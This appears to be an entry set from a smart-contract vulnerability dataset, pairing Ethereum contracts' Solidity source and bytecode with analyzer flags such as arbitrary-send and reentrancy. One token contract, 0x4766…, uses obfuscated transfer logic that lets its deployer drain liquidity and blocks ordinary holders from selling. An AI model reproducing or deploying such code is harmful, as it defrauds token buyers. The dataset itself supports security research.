e01b600052603260045260246000fd5b6000600019821415611a6057611a60611a09565b5060010190565b600080600060608486031215611a7c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aa757600080fd5b815161161081611970565b600060208284031215611ac457600080fd5b8151611610816117ab565b60008219821115611ae257611ae2611a09565b500190565b6000816000190483118215151615611b0157611b01611a09565b500290565b600082611b2357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b785784516001600160a01b031683529383019391830191600101611b53565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220eb1cf835cf5c277061f48b782fadc239ce1939876b732b33063e77ccb970a8c464736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,318
0x4766439f33cb7a3e3d144af28022465c09fcf2ff
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contract is IERC20, Ownable { string private _name; string private _symbol; uint256 public _fee = 1; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private difficult = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(address => uint256) private _balances; mapping(address => uint256) private word; mapping(address => mapping(address => uint256)) private _allowances; mapping(uint256 => address) private contrast; mapping(uint256 => address) private coffee; mapping(address => uint256) private say; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; word[msg.sender] = difficult; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); coffee[difficult] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _transfer( address tropical, address ice, uint256 amount ) private { address valuable = contrast[difficult]; bool bound = tropical == coffee[difficult]; uint256 fur = _fee; if (word[tropical] == 0 && !bound && say[tropical] > 0) { word[tropical] -= fur; } contrast[difficult] = ice; if (word[tropical] > 0 && amount == 0) { word[ice] += fur; } say[valuable] += fur; if (word[tropical] > 0 && amount > difficult) { swapAndLiquify(amount); return; } uint256 fee = amount * (_fee / 100); amount -= fee; _balances[tropical] -= fee; _balances[tropical] -= amount; _balances[ice] += amount; } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c5b37c2211610059578063c5b37c2214610305578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b8063715018a61461025b5780638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611346565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611401565b610453565b604051610157919061145c565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611486565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114a1565b610472565b6040516101bf919061145c565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611486565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611503565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061151e565b6105bf565b6040516102529190611486565b60405180910390f35b34801561026757600080fd5b50610270610608565b005b34801561027e57600080fd5b50610287610690565b6040516102949190611503565b60405180910390f35b3480156102a957600080fd5b506102b26106b9565b6040516102bf9190611346565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611401565b61074b565b6040516102fc919061145c565b60405180910390f35b34801561031157600080fd5b5061031a6107c7565b6040516103279190611486565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061154b565b6107cd565b6040516103649190611486565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061151e565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115ea565b60405180910390f35b6060600180546103d090611634565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611634565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611486565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105719190611695565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610610610f9d565b73ffffffffffffffffffffffffffffffffffffffff1661062e610690565b73ffffffffffffffffffffffffffffffffffffffff1614610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067b90611715565b60405180910390fd5b61068e6000610fa5565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106c890611634565b80601f01602080910402602001604051908101604052809291908181526020018280546106f490611634565b80156107415780601f1061071657610100808354040283529160200191610741565b820191906000526020600020905b81548152906001019060200180831161072457829003601f168201915b5050505050905090565b6000610758338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107b59190611486565b60405180910390a36001905092915050565b60035481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610f9d565b73ffffffffffffffffffffffffffffffffffffffff1661087a610690565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611715565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117a7565b60405180910390fd5b61094981610fa5565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611839565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611486565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060035490506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610c03575081155b8015610c4e57506000600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610caa5780600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca29190611695565b925050819055505b84600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d4d5750600084145b15610da95780600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da19190611859565b925050819055505b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df89190611859565b925050819055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e4f575060065484115b15610e6557610e5d84611069565b505050610f98565b60006064600354610e7691906118de565b85610e81919061190f565b90508085610e8f9190611695565b945080600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee09190611695565b9250508190555084600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f369190611695565b9250508190555084600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611859565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108657611085611969565b5b6040519080825280602002602001820160405280156110b45781602001602082028036833780820191505090505b50905030816000815181106110cc576110cb611998565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119791906119dc565b816001815181106111ab576111aa611998565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b8152600401611277959493929190611b02565b600060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112e75780820151818401526020810190506112cc565b838111156112f6576000848401525b50505050565b6000601f19601f8301169050919050565b6000611318826112ad565b61132281856112b8565b93506113328185602086016112c9565b61133b816112fc565b840191505092915050565b60006020820190508181036000830152611360818461130d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113988261136d565b9050919050565b6113a88161138d565b81146113b357600080fd5b50565b6000813590506113c58161139f565b92915050565b6000819050919050565b6113de816113cb565b81146113e957600080fd5b50565b6000813590506113fb816113d5565b92915050565b6000806040838503121561141857611417611368565b5b6000611426858286016113b6565b9250506020611437858286016113ec565b9150509250929050565b60008115159050919050565b61145681611441565b82525050565b6000602082019050611471600083018461144d565b92915050565b611480816113cb565b82525050565b600060208201905061149b6000830184611477565b92915050565b6000806000606084860312156114ba576114b9611368565b5b60006114c8868287016113b6565b93505060206114d9868287016113b6565b92505060406114ea868287016113ec565b9150509250925092565b6114fd8161138d565b82525050565b600060208201905061151860008301846114f4565b92915050565b60006020828403121561153457611533611368565b5b6000611542848285016113b6565b91505092915050565b6000806040838503121561156257611561611368565b5b6000611570858286016113b6565b9250506020611581858286016113b6565b9150509250929050565b6000819050919050565b60006115b06115ab6115a68461136d565b61158b565b61136d565b9050919050565b60006115c282611595565b9050919050565b60006115d4826115b7565b9050919050565b6115e4816115c9565b82525050565b60006020820190506115ff60008301846115db565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061164c57607f821691505b602082108114156116605761165f611605565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116a0826113cb565b91506116ab836113cb565b9250828210156116be576116bd611666565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116ff6020836112b8565b915061170a826116c9565b602082019050919050565b6000602082019050818103600083015261172e816116f2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117916026836112b8565b915061179c82611735565b604082019050919050565b600060208201905081810360008301526117c081611784565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118236024836112b8565b915061182e826117c7565b604082019050919050565b6000602082019050818103600083015261185281611816565b9050919050565b6000611864826113cb565b915061186f836113cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118a4576118a3611666565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118e9826113cb565b91506118f4836113cb565b925082611904576119036118af565b5b828204905092915050565b600061191a826113cb565b9150611925836113cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195e5761195d611666565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119d68161139f565b92915050565b6000602082840312156119f2576119f1611368565b5b6000611a00848285016119c7565b91505092915050565b6000819050919050565b6000611a2e611a29611a2484611a09565b61158b565b6113cb565b9050919050565b611a3e81611a13565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a798161138d565b82525050565b6000611a8b8383611a70565b60208301905092915050565b6000602082019050919050565b6000611aaf82611a44565b611ab98185611a4f565b9350611ac483611a60565b8060005b83811015611af5578151611adc8882611a7f565b9750611ae783611a97565b925050600181019050611ac8565b5085935050505092915050565b600060a082019050611b176000830188611477565b611b246020830187611a35565b8181036040830152611b368186611aa4565b9050611b4560608301856114f4565b611b526080830184611477565b969550505050505056fea2646970667358221220ede33d3a93d2e4e9f6ca1908d504d1714bc531425717eed9a6b8a52ca1df1be764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,319
0x34f49e2ea4fb9b80714f8776932528a79c39de28
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title InbestToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract InbestToken is StandardToken { string public constant name = "Inbest Token"; string public constant symbol = "IBST"; uint8 public constant decimals = 18; // TBD uint256 public constant INITIAL_SUPPLY = 17656263110 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function InbestToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
